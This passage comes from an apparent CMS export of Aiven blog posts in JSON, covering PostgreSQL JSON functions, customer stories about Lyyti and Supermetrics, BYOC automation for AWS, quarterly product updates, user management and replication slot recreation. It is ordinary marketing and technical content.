and eat!\n\n## Conclusion\n\n\"Relational databases are too rigid\", how many times did we hear that? It turns out they can also perform really well with semi structured data like JSON, and PostgreSQL in particular has a deep set of functions for manipulating JSON objects. So, next time you have a JSON dataset, maybe [give PostgreSQL a try](https://aiven.io/postgresql)?\n\nSome more resources that you might find useful:\n* [PostgreSQL JSON functions](https://www.postgresql.org/docs/current/functions-json.html)\n* [Json vs jsonb, what are the differences?](https://www.postgresql.org/docs/current/datatype-json.html)\n* [Get started with Aiven for PostgreSQL](https://aiven.io/postgresql)\n\n## Further reading\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [The pursuit of happiness with Python and PostgreSQL®](https://aiven.io/blog/the-pursuit-of-happiness-with-python-and-postgresql)\n\n","categories":[{"_key":"af590775e2fd","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"b5eb1b6d7d03","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-07c9d7e35b005dae4b72cfe28f0dd7ebfd332e3f-2500x1308-png","_type":"reference"}},"publishedAt":"2022-11-08T10:15:36.268Z","related":[{"_key":"1b7287af11f9","_ref":"23ABpyOMonRUmxvigZqf7F","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Curious about how implementing PostgreSQL® JSON functions allow your SQL queries to work with json and jsonb data? Find out in the Aiven blog!","metaTitle":"Using PostgreSQL® JSON functions to navigate reviews"},"slug":{"_type":"slug","current":"/blog/pg-json-indian-restaurants"},"subtitle":"Parsing semi-structured dataset in a relational database seems scary. Read on for how PostgreSQL® JSON functions allow your SQL queries to work with json and jsonb data.\n","title":"Using PostgreSQL® JSON functions to navigate reviews of restaurants in India"} {"__i18n_lang":"en","_createdAt":"2022-11-28T09:12:53Z","_id":"dc8dcde0-6d8b-49e2-8819-b6203fcf45a0","_rev":"h4ancfFTuSnQNBSq3JI01c","_type":"post","_updatedAt":"2024-11-19T11:42:32Z","authors":[{"_key":"70cd50d41014","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"We have this perception of events—like seminars, conferences or workshops—as being unique and singular. We plan, we prepare, the event happens, and then we have a retro session--and maybe we learn some lessons for next time. And we think that’s good enough.\n\nBut Lyyti wants to do more.\n\n“Event management has historically been less focused on utilizing data and systematically developing the business,” says Lauri Lehtinen, CTO of Lyyti. “If we think back to the way marketing budgets were drawn up 20 years ago, the business was unquantifiable; no one could measure the impact of a particular marketing investment. Then we got modern tools and marketing automation, and suddenly marketing is one of the most easily measurable parts of B2B. We want the same thing to happen in event management.”\n\nLyyti offers an event management suite that makes it easy for event planners to create online, on-site and hybrid events. They offer the usual building blocks like registration management, communication tools, and event platform connectors. However, they also provide a measurement suite and integrations with analysis and marketing tools. Customers can use them to analyze their attendance numbers and start to spot trends and correlations.\n\n“We believe that event management is moving into a more data-driven mode. Giving event managers access to data and tools can speed up this transformation, and bring the measurement and development of events to a whole new level,” Lauri says. “We’re only just starting down this path.”\n\n## The tech behind the magic\nMore than 80,000 events are organized through Lyyti every year, and they have over 20 _million_ users. That’s a lot of data, and Lyyti needs a robust framework to deal with it.\n\nLyyti’s tech stack is currently a combination of older legacy systems and a new system still being built on top of [Aiven for PostgreSQL®](https://aiven.io/postgresql). They use PHP and [Laravel](https://aiven.io/blog/add-aiven-database-magic-to-your-laravel-project) at the backend, and manage the whole setup with Terraform and Ansible® - “Infrastructure-as-code, to put it in a modern way,” Lauri smiles. “The solution is GCP-based and containerized, and orchestrated with Cloud Run to avoid the complexity of Kubernetes.”\n\nLyyti wanted to avoid being fully dependent on GCP, however. There were many reasons, some of them to do with potential GDPR compliance issues, some of them more high-level concerns about putting all of one’s eggs in a single basket. That’s why they went looking for a third-party service provider. They wanted one who could, in a pinch, enable the transfer of data from one cloud to another. And they found Aiven, which also came with a pleasant surprise.\n\n“Our current system happens to run on UpCloud,” Lauri says, “and Aiven offers plans for UpCloud. It was really quite funny - you’ve got the global hyperscalers, and then you’ve got the Finnish UpCloud right there with them.”\n\nHaving a managed data infrastructure is important for Lyyti because they wanted to avoid complicated and demanding maintenance tasks. “Especially when you start scaling up to larger user volumes, database maintenance is a big chunk of overall system maintenance. Aiven offers us options that would be practically impossible for us to build ourselves, and at the same time keeps our infrastructure functional. We don’t need to worry about resourcing talent for every detailed need, like setting up databases in a safe and scalable fashion.”\n\n## Building up to data-driven success\nNow that their new concept of event success management is gaining traction, Lyyti’s next step is to boost their data insights capabilities. They want to give event management the prominence it deserves in the marketing mix, and that requires offering analysis and forecasting tools to their customers. The customer will be able to gauge the impact of the events they organize, and identify the variables that affect it.\n\n“For example, think about creating an event and sending out invitations for an accountancy seminar,” Lauri says. “You can do that in the Lyyti system today, it’s not technically that challenging. But imagine if you had a system that could tell you right away that accountants and other financial staff typically attend meetings around the 20th of each month, but never around the turn of the month. And imagine if your system could tell you when to send out the invitations at a time when they are most likely to be opened and read.” \n\n## On a Finnish footing\n“One thing I’ve been musing on is the Finnish connection between Aiven, UpCloud and Lyyti,” says Lauri. “It’s great as a SaaS provider to be able to pick and choose technology whose roots are in our native country. Finns haven’t been awesome at too many things, but a really significant portion of internet backend technologies originate here. Finland has created many of the building blocks of the modern internet, from Linux and MySQL all the way to messaging systems inspired by 80s IRC. It’s great to be able to build Lyyti’s cool things on top of Finnish foundations, Aiven included.”\n\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n","categories":[{"_key":"831b86a9ff7d","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-7243487cd56618a48df7164b78eeaab0fff6fa88-1567x844-png","_type":"reference"}},"publishedAt":"2022-12-01T06:43:51.107Z","related":[{"_key":"e803ddc802d6","_ref":"6edd956e-b77d-4872-b909-005b3f926172","_type":"reference"},{"_key":"4125b327a0aa","_ref":"5xMVmgTPANyANZSs0E8UPT","_type":"reference"},{"_key":"2c163aec244d","_ref":"1T7v4WU7Jn5ipK5AzGWgtD","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Lyyti is transforming the event management space with data. Visit the Aiven blog for more interesting insights about the cooperation!"},"slug":{"_type":"slug","current":"/blog/better-events-through-data-with-lyyti"},"subtitle":"Find out how our customer Lyyti is transforming the event management space with data.","title":"Better events through data with Lyyti"} {"__i18n_lang":"en","_createdAt":"2023-11-27T13:14:59Z","_id":"dd1d35d3-0232-43ce-a7a2-187e79d501ec","_rev":"T130WEs22RB6SoEkOBoBUC","_type":"post","_updatedAt":"2024-11-19T09:49:17Z","authors":[{"_key":"427d6e4d7793","_ref":"21826e5e-978d-4861-aac3-716443cd9095","_type":"reference"},{"_key":"b89b2e6c37af","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"A substantial proportion of Aiven’s customers deploy Aiven services in AWS regions around the globe. We have heard from developers in these customers that building enterprise applications on AWS can be time consuming and complex, and that they want to devote more of their effort to focusing on innovation, and less to infrastructure configuration, deployment, and management.\n\nMany of these developers chose to exploit open source data infrastructure technologies to build the data layers of their applications. Managed open source services, such as those provided by the Aiven Platform, are a popular choice because they provide deployment flexibility, minimizing dependency on a single vendor, and remove the software acquisition and maintenance costs associated with many proprietary software technologies, leading to a reduction in overall costs.\n\n[BYOC](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc) has become an increasingly popular option for many customers who are considering managed open source services. This has been driven by customers' need to maintain the infrastructure governance and data sovereignty strategies they have established when partnering with cloud providers like AWS, and to consume the multi-year purchase commitments they have entered into in order to manage costs. For customers, it’s all about flexibility, but that flexibility has previously come at a cost, with some BYOC options requiring developers to spend up to 4 weeks planning the configuration, deployment, and management of a custom environment to manage their data services.\n\nWith Aiven’s new self-service BYOC automation for AWS, enterprise developers can use self-service technology to establish the custom cloud infrastructure framework required to run managed Aiven data services in their AWS environment. The automated configuration and deployment process typically takes less than an hour to complete and is 99% faster than previous method of building a custom cloud infrastructure framework, reducing cycle times and freeing up developers’ time to focus on innovation\n\n## A custom cloud for your data\n\nCustomers will access the self-service BYOC workflow through the [Aiven management console](https://console.aiven.io). After providing a few configuration variables, including the AWS region you wish to run Aiven services, your desired network range, and an AWS Role ARN you create using an Aiven-provided Terraform script, the BYOC automation will build and deploy a custom cloud environment to run Aiven services in your AWS account. Once complete, customers are ready to deploy Aiven managed data services into their custom cloud environment.\n\nOf course, Aiven customers operating in a BYOC model will enjoy the benefits of Aiven’s developer-friendly tools, such as 24x7 monitoring and alerting, proactive maintenance and upgrades, and 99.99% availability SLA.\n\n## Cost savings of up to 35%\n\nAiven’s BYOC model enables customers who have volume purchase commitments with cloud providers like AWS, to use the cost of the infrastructure required by Aiven’s services to offset, or consume, their purchase commitment at an accelerated rate using their negotiated discounts. Aiven’s customers running in a BYOC model today report an average savings of 35% vs Aiven’s standard model. Your cost savings may vary based on your negotiated discounts with your cloud provider. \n\n## Pricing and availability\n\nAiven’s self-service BYOC for AWS automation is now in Early Availability for qualified customers in any AWS region supported by Aiven. An Aiven account manager can help you determine whether BYOC is right for your organization.\n\nIn a BYOC model, Aiven service pricing has two components: infrastructure and managed services. Customers pay AWS directly for the infrastructure services used to run their custom cloud and Aiven data services deployed, like Aiven for Apache Kafka® or Aiven for PostgreSQL®. Customers pay Aiven directly for the monthly managed services fee for each data service purchased and actively consumed. Each Aiven managed data service is priced per hour.\n\n## How to get started\n\nTo gain access to the self-service BYOC automation for AWS, or to learn more about Aiven services, contact Aiven through an account manager, or from the [Bring Your Own Cloud page](https://aiven.io/docs/platform/concepts/byoc) in the Aiven console.\n\n","categories":[{"_key":"01c71b6b62ea","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"eeabf4b44c9c","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"An orange background with whitel text \"Accelerate time-to-value with Aiven’s self-service Bring Your Own Cloud (BYOC) automation for AWS\"","asset":{"_ref":"image-0ab52196d5a7ef557987b2060934cec470b4d745-1200x628-png","_type":"reference"}},"publishedAt":"2023-11-27T13:14:34.845Z","related":[{"_key":"09484a47cc00","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Our BYOC automation for AWS simplifies infrastructure setup for app developers and optimizes workflows. Find out more in the Aiven blog!","metaTitle":"Aiven’s BYOC Automation for AWS | Get Informed"},"slug":{"_type":"slug","current":"/blog/accelerate-time-to-value-with-byoc"},"subtitle":"Complex and lengthy infrastructure setup processes no longer a blocker for Application Developers.","title":"Accelerate time-to-value with Aiven’s self-service Bring Your Own Cloud (BYOC) automation for AWS"} {"__i18n_lang":"en","_createdAt":"2023-02-07T12:39:46Z","_id":"e25ec9b4-5d42-4b5b-8ff0-87001bbce526","_rev":"lhvtNBOlLYH5KiQFQ8YMh5","_type":"post","_updatedAt":"2024-01-29T15:38:30Z","authors":[{"_key":"b58b590f5c08","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"## Aiven for ClickHouse® GA\nIn December Aiven for ClickHouse became generally available, and now Aiven lets you create fully managed data warehouses for your analytics. Read more in our blog: [Aiven for ClickHouse® now generally available](https://aiven.io/blog/aiven-for-clickhouse-now-generally-available). \n## OpenSearch® 2\nOctober saw the upgrade of Aiven for OpenSearch to OpenSearch 2. Compared to version 1, the new release includes many improvements, including better Machine Learning capabilities, new notification plugins, and performance improvements.\n\nIf you’re already using Aiven for OpenSearch and want to upgrade to version 2, you can either wait for your scheduled maintenance window or trigger an upgrade in the Aiven Console.\n\nSee the [release notes](https://github.com/opensearch-project/opensearch-build/tree/main/release-notes) for more information.\n## Grafana 9\nIn October, we also [upgraded Aiven for Grafana to version 9](https://aiven.io/blog/strengthen-your-monitoring-game-with-grafana-9). This brought you such capabilities as: \n\n- Prometheus query builder for easily pulling metrics from different sources\n- Heatmap panel for visualizing time series data as a histogram\n- Improved user interface with dashboard previews, improved search capabilities and favorite dashboards\n\nThe new version offers greatly simplified monitoring and enhanced usability.\n## Aiven on Azure Marketplace\nSince November 2022, [Aiven services have been available directly through Azure Marketplace](https://aiven.io/blog/aiven-on-microsoft-azure-marketplace). If you’re already using it, you can now add Aiven services into your mix while leveraging your long-term commitment to Microsoft Azure.\n\nYou get the same level of access to the Aiven control plane and the same great Aiven services by signing up through the Marketplace as you would by signing up directly with Aiven, and for the same price.\n## Cross-project service integration \nStarting in December, Aiven offers cross-project service integration for metrics, logs, dashboards and data sources. You can pull logs and metrics from multiple projects to set up centralized observability for your entire Aiven data infrastructure. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/cee278f5d9e8641d81c032a5f2227bc22308fc97-1707x1237.png)\n\nTo find out more and see some examples for setting up integrations, see [OpenSearch log integration](https://aiven.io/docs/products/opensearch/howto/opensearch-log-integration.html) and [Monitor Aiven services with M3DB](https://aiven.io/docs/products/m3db/howto/monitoring.html) in our documentation.\n## Two minor releases of Klaw\nKlaw, the open source Apache Kafka® governance tool, has already seen two new minor releases here at Aiven [after only joining us in October](https://aiven.io/blog/aiven-welcomes-kafkawize-now-klaw). Klaw is a part of the end-to-end event streaming ecosystem whose heart is Aiven for Apache Kafka, allowing you to securely govern your Kafka-based infrastructure.\n\nIn recent releases, we’ve improved the interface’s security experience as well as its user experience. We’ve also beefed up the documentation, addressed some security vulnerabilities, introduced Makefile... and much more.\n\nIn the recent releases, we’ve improved the security experience as well as the user experience in the interface. We’ve also beefed up the documentation, addressed some security vulnerabilities, introduced Makefile… and much more.\n\nAmong the major features we implemented are:\n\n- SASL authentication\n- JWT-based authentication to the Klaw Cluster API\n- Multi-cluster connections using different SSL certificates\n\nFor a full list of improvements, read [the post recapping Klaw’s big year 2022](https://aiven.io/blog/klaw-in-2022-simplifying-apache-kafka-data-governance).\n## Recreation of replication slots\nIn December, we released a new feature for Aiven for PostgreSQL®: [logical replication slots are now recreated](https://aiven.io/blog/aiven-for-pg-recreates-logical-replication-slots) in the event of a failover or switchover. \n\nYour PostgreSQL will recover from a failover, but if you’ve set up logical replication slots they used to require being recreated manually. This resulted in downtime, as the database couldn’t accept new writes in the meantime. Now Aiven for PostgreSQL will do this for you, and it’s much quicker than doing it yourself.\n\nFor more information, check out [Aiven for PostgreSQL® now recreates logical replication slots automatically](https://aiven.io/blog/aiven-for-pg-recreates-logical-replication-slots) on the Aiven blog.\n## Aiven Console updates\nThe [Aiven Console](https://console.aiven.io) saw several facelifts and improvements over the quarter. All of them merit attention, so let's take a closer look.\n### Find your services more easily\nYou can now apply filtering in the Services list. This is handy if your Console currently shows a giant wall-of-services! You can filter by service type, service status, or cloud provider.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/6e86ef97a88ba30b24f89c8529c3ec68c7f2daf5-1735x737.png?w=450)\n\n### Quickly connect to your Aiven service\nQuick Connect is a feature that makes it quick and easy to connect to your Aiven for PostgreSQL®, MySQL®, Apache Kafka®, Redis®, and OpenSearch®.\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/8e43f8a4333cb0dea6af4152a4f26810283c6cb3-1034x1206.png)\n\n### Clearer Integrations tab\nThe Integrations tab for each service now distinguishes between internal and external integrations, and shows more relevant information. You can now see where data is coming from and where it’s being sent to, plus other aspects of current integrations. We also updated the descriptions to make it clearer what to use each integration for.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2190008d7437ec34163c83aa209a355ad3134528-1013x979.png?w=450)\n\n\n### Navigation update\nRenewed top-level navigation that makes it easier to navigate between your accounts and projects, and to find the most important management features. Go to the Aiven Console and take a look at the top bar.\n## Renewed Changelog \nAs the icing on the (crab?) cake, Aiven’s Changelog has also undergone a transformation. With the aid of our excellent technical writers, it gives you a better understanding of what has changed and why, and whether action is needed on your side. It also points you to further information and help resources. \n\nCheck out the new changelog at [https://aiven.io/changelog](https://aiven.io/changelog). To be quite honest, it now makes for a good read! \n\nAnd incidentally, that’s where you’ll also find all the minor updates we couldn’t list in this post without making it way too long.\n\n\u003c!--\nDuplicate this post by clicking the drop-down menu in the bottom right corner, and selecting **Duplicate**\n\nSet the post date\nInsert the hero image (set it up in https://sanity.avnsmarketingtest.net/media)\nDefine the author\nAdd relevant categories\nAdd keywords as recommended by SEO agency\nWrite the post\n\nAdd a wrapping up section and a strong CTA.\nKeep the \"Next steps\" section as a \"footer\". Remember to add links to the relevant product pages.\n--\u003e\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"0f7b27dbcc2f","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-5740f35d77793404b2dde0739d50c354c1ab0428-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-07T21:59:00.000Z","related":[],"seo":{"_type":"metaData","metaTitle":"Aiven's Product Updates in Q4/2022 - Find out more!"},"slug":{"_type":"slug","current":"/blog/what's-new-at-aiven-q4-2022"},"subtitle":"Things are happening at Aiven! Find out what we released in the last quarter of 2022. Warning: there’s a lot of it.","title":"What's new at Aiven: Q4/2022"} {"__i18n_lang":"en","_createdAt":"2023-01-27T08:12:57Z","_id":"f199e025-baca-4d0a-a3ae-a8a246e01b6d","_rev":"yn3ffGOj7FCOSHAOSHJa3u","_type":"post","_updatedAt":"2023-06-22T13:39:34Z","authors":[{"_key":"6820ee9bf05e","_ref":"2acjNLjMT0JmpSV9r8dyvC","_type":"reference"},{"_key":"9d784bfae1df","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"\n\u003e *The customer business problem we're solving is actually fairly simple. I have data, and if I want to put it into one place to analyze it, I'm going to either have to go to each one of those places and cut and paste it, or I can just use Supermetrics. Click a few buttons, say what kind of data I want, schedule it even–and then off we go to the races. Suddenly I have the data and I can do the analysis.*\n\nFor [Supermetrics](https://supermetrics.com)’ Chief Technology Officer, mobility across clouds is a dream. A dream that is turning into a reality for cloud-native companies–as well as a necessity.\n\n## Introducing Dups\nDuleepa \"Dups\" Wijayawardhana is CTO at Supermetrics, a Finland-based company with headquarters in Helsinki and offices in Atlanta, Dublin, Vilnius, and Singapore. Dups got his start as a developer with a background in DevOps. With the help of smart and talented colleagues, he founded companies with funding from some of Silicon Valley and Canada's leading venture capitalists.\n\nToday, with more great talents on his side and an arsenal of business instinct at his command, he advises and consults on technology that brings people together, inspires, innovates and makes sense of the world. He was voted Finland’s CTO of the Year in 2021, a victory he proudly attributes to the great Supermetrics team.\n\nSupermetrics is an organization of over 300 staff, including more than 80 developers. They help over 17,000 customers move data [from scattered marketing platforms](https://supermetrics.com/connectors) into their [go-to analytics and reporting tools](https://supermetrics.com/products).\n\n\u003e *When I joined Supermetrics, we were serving millions of queries. Now we serve billions of queries. What we used to do, we did literally with four servers. We now have hundreds of servers to do that processing.*\n\n### The changing face of the datasphere\nIn just 5 years, Supermetrics has grown almost beyond recognition—and they’re not the only ones. The ocean of data in which Dups and his colleagues swim is bigger, deeper, and more here-there-be-dragons-y than ever. Also there’s more than one ocean.\n\n\u003e *There's business challenges all around the world. So for example, what used to be, “it's okay, you can process everything you have in the one place,”–no longer. We have to serve our EU customers inside the EU. There may be a situation where a customer might say, “I don't want to be in this cloud. I want to be in another cloud.” These are the kinds of problems that Aiven, for example, is helping us solve and scale.*\n\nManually updating every single database to a new version is time consuming. Normally, Supermetrics would have needed to do it in AWS, and in GCP, and then just hope they were linked to the right version. Now, Supermetrics can cut from one cloud to another of the same database type with minimal effect on their end user experience.\n\n## Lifting heavy data with Supermetrics\nData analytics teams can use Supermetrics to draw data from lots of places into one repository, without getting repetitive strain injury from hitting copy-paste a million times a day. Fed up with managing three separate cloud environments with different versions of the same open source software, Dups and his crew decided they wanted to build a data infrastructure that was robust, scalable and easy to self-manage.\n\n### What kind of data?\nSupermetrics’ main focus is marketing and sales data. Their product integrates to over 100 different platforms—Facebook Ads, Google Analytics, TikTok, HubSpot, etc. With Supermetrics, marketers and analysts can easily automate data transfers into their favorite analytics platforms—whether it’s a spreadsheet, a data warehouse, or a BI tool.\n\nIn doing so, Supermetrics process billions of queries on behalf of their customers–and transfer terabytes of data.\n\n### Aiven to the rescue\nAiven doesn’t manage Supermetrics’ infrastructure, but provide the software that enables Supermetrics to centrally manage their entire data infrastructure.\n\n“One of the reasons why we moved to Aiven, as opposed to other solutions that we looked at, is that Aiven allowed us to run the services in our own cloud in our own infrastructure,” Dups explains.\n\nAsked what his favorite thing about Aiven is, Dups doesn’t hesitate. “The fact that it’s built on open source. Aiven’s built some amazing technology on top of open source databases to move them around in different clouds in different regions.”\n\n## To the clouds and beyond\n\nThe next thing on the horizon for Supermetrics is to enable full data sovereignty for customers. Dups wants their customers to be able to benefit from Aiven’s ability to move data between clouds and regions. Supermetrics’ customers should have the opportunity to choose where their data is processed. In addition to behind-the-scenes reliability, the customer would have a real choice.\n\nWith the world of data only getting larger and more complex, the future is looking bright–and busy–for Supermetrics and our friend Dups. At Aiven, we’re looking forward to seeing what challenges are ahead.\n\nWant to see some more great success stories from our fellow data travelers? [Check out our case studies](https://aiven.io/case-studies) to see how Aiven has helped businesses to thrive.\n\n::youtube[Innovating together: Aiven + Supermetrics]{#oQIjSwWxE14}\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"d9c42125-e7a0-4947-ae50-0ecc71c3c62e","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-1142e2ede9143bf3554dbc916518409ae7a52eed-1920x1037-jpg","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Cross-cloud data handling with Supermetrics","asset":{"_ref":"image-d3e56f891564fef9274bfce7bca67b0f37b0ed74-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-06T09:10:11.400Z","related":[{"_key":"5d94d31f7f7c","_ref":"4YXUQMGtng5hcyF4B5K0cR","_type":"reference"},{"_key":"37107b736d20","_ref":"4VOnZBlI7irStOfihS2uKr","_type":"reference"},{"_key":"e234745d15a0","_ref":"6C3u3uBahQCfx4Atonkg03","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Find out how the Aiven software has helped Supermetrics guide their data across clouds and save valuable time. Read more about it in our blog post!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d3e56f891564fef9274bfce7bca67b0f37b0ed74-1567x844-png","_type":"reference"}},"metaTitle":"Cross-cloud data handling with Supermetrics"},"slug":{"_type":"slug","current":"/blog/multicloud-drifting-with-dups-and-supermetrics"},"subtitle":"Meet Duleepa \"Dups\" Wijayawardhana, the CTO for Supermetrics, and find out how Aiven has helped Supermetrics guide their data across clouds.","title":"Multicloud drifting, with Dups and Supermetrics"} {"__i18n_lang":"en","_createdAt":"2023-08-30T12:43:25Z","_id":"f249751b-885a-4286-97ce-474569077f7d","_rev":"lToOrzsceUYtLq3U2SClni","_type":"post","_updatedAt":"2024-07-17T08:11:54Z","authors":[{"_key":"1666f85e83b5","_ref":"495d15fb-d2b1-4a6b-a5af-44b62df3857a","_type":"reference"}],"body":"Large organizations need efficient and flexible ways to manage users and their access to different projects and services on the Aiven Platform. These organizations typically have many users with different levels of access in multiple projects, making it difficult to keep track of who has access to what. This can lead to operational disruptions and security and compliance issues.\n\nTo address this challenge, we are introducing **centralized organization users and groups**. These features streamline the user and access management process, making it much easier to scale your setup on the platform and gain visibility into users and their permissions across the entire organization. \n\nOrganization users and groups build on the [organization](https://aiven.io/blog/introducing-organizations-and-units-in-aiven) concept that was announced earlier this year. Furthermore, the organizational unit feature that has been in beta since then, now reaches general availability.\n\n## Organization users\n\nUsers can now be [centrally managed](https://aiven.io/docs/platform/howto/manage-org-users) across the entire organization, reducing the administrative burden of keeping track of users and helping to keep infrastructure more secure. \n\nUsers are invited to the organization using email. Once they have accepted the invitation, administrators can give them access to specific organizational units, projects, and services within that organization and view their active authentication methods, two-factor authentication status, group membership, and last active status in the Aiven Platform.\n\n## Groups\n\n[User groups](https://aiven.io/docs/platform/howto/list-groups) provide an efficient and easy way to control user access to organizational units, projects, and services. The new groups feature is replacing the old teams concept. Unlike teams, groups are shared across the entire organization, so you can create one group and use it across all your organizational units. This makes it easier to manage access and ensures that users have the right permissions to the resources they need.\n\nGroups also come with several user experience improvements, such as:\n\n- Search for and add users with a single click\n- Open a user's profile from right within the group\n- Monitor the status and last activity of all users in the group at a glance\n\nSwitch to groups now for an enhanced user experience, and stay tuned for upcoming features such as syncing users and groups with an external identity provider.\n\n## Organizational units reach GA\n\n[Organizational units](https://aiven.io/docs/platform/concepts/orgs-and-units) allow you to refine the hierarchy of your projects and services. This hierarchical structure gives you greater flexibility to organize your account structure to fit your needs. For example, you can easily split production and testing workloads into different organizational units that are in the same Aiven organization. \n\nOrganizational units have been available as a beta feature since early this year. With the introduction of groups, we are now making them generally available. \n\n## Get started\n\nEnjoy the enhanced user experience and start managing your users and groups across the whole organization. Log in to [Aiven Console](https://console.aiven.io/) and navigate to the admin page of your organization to get started.\n\nLearn more about users and groups in [our user and access management documentation](https://aiven.io/docs/platform/howto/list-user). \n","categories":[{"_key":"437a585e12d2","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"0feafd7fceba","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-2d507d425e755730f88dbfbbf9162cd2d78d72a0-1567x844-png","_type":"reference"}},"publishedAt":"2023-09-05T14:00:00.000Z","related":[{"_key":"555945033ba3","_ref":"70c50025-8a7e-47d1-9260-bc1cf116c176","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/streamlined-user-management-in-the-aiven-platform"},"subtitle":"Introducing centralized organization units, users and groups for scalable user and access management.","title":"Streamlined user management in the Aiven Platform"} {"__i18n_lang":"en","_createdAt":"2023-01-10T10:16:28Z","_id":"fc3324c1-9cf5-41fe-b10d-42f489e57f20","_rev":"ZLvKaZvfbZlWBlGcpInvU9","_type":"post","_updatedAt":"2024-01-29T15:38:32Z","authors":[{"_key":"df3a357cd646","_ref":"2c0f450e-227c-4fe6-b73e-ef7eb4293774","_type":"reference"},{"_key":"01df7304d196","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"## Failover pain\nYour PostgreSQL® cluster’s primary node fails, a new primary replaces it as planned … but the connection to the replication slots is broken, and other systems can no longer read the data from the new primary. For example: if your PostgreSQL® is functioning as long-term storage with Apache Kafka® in the middle serving data in and out, then Kafka can’t read from the new primary without a new replication slot being set up.\n\nIt will take a while for you to create and connect to a new logical replication slot. You have two choices in the meantime: either you shut down access to PostgreSQL from elsewhere in the system to avoid new entries being written; or you resync the entire cluster afterwards to avoid entries being dropped. \n\nAnd you need to do this for every single primary.\n\nBut at Aiven, this hassle is now a thing of the past. In December 2022 we rolled out a new feature that automatically recreates logical replication slots in the event of a failover or a controlled switchover for Aiven for PostgreSQL.\n\n## Logical replication slots\nIn PostgreSQL® you can set up a logical replication slot for any downstream subscribers of the server. Having a replication slot causes the subscriber to receive the changes in the data in a database.\n\nThe trouble with this setup is that if you rely on replication slots and your primary node goes down, you will end up with either gaps in the data or having to re-read huge chunks of the database.\n\nThis is because after a failover or a switchover, you need to recreate the slots and reconnect all the downstream subscribers. If this 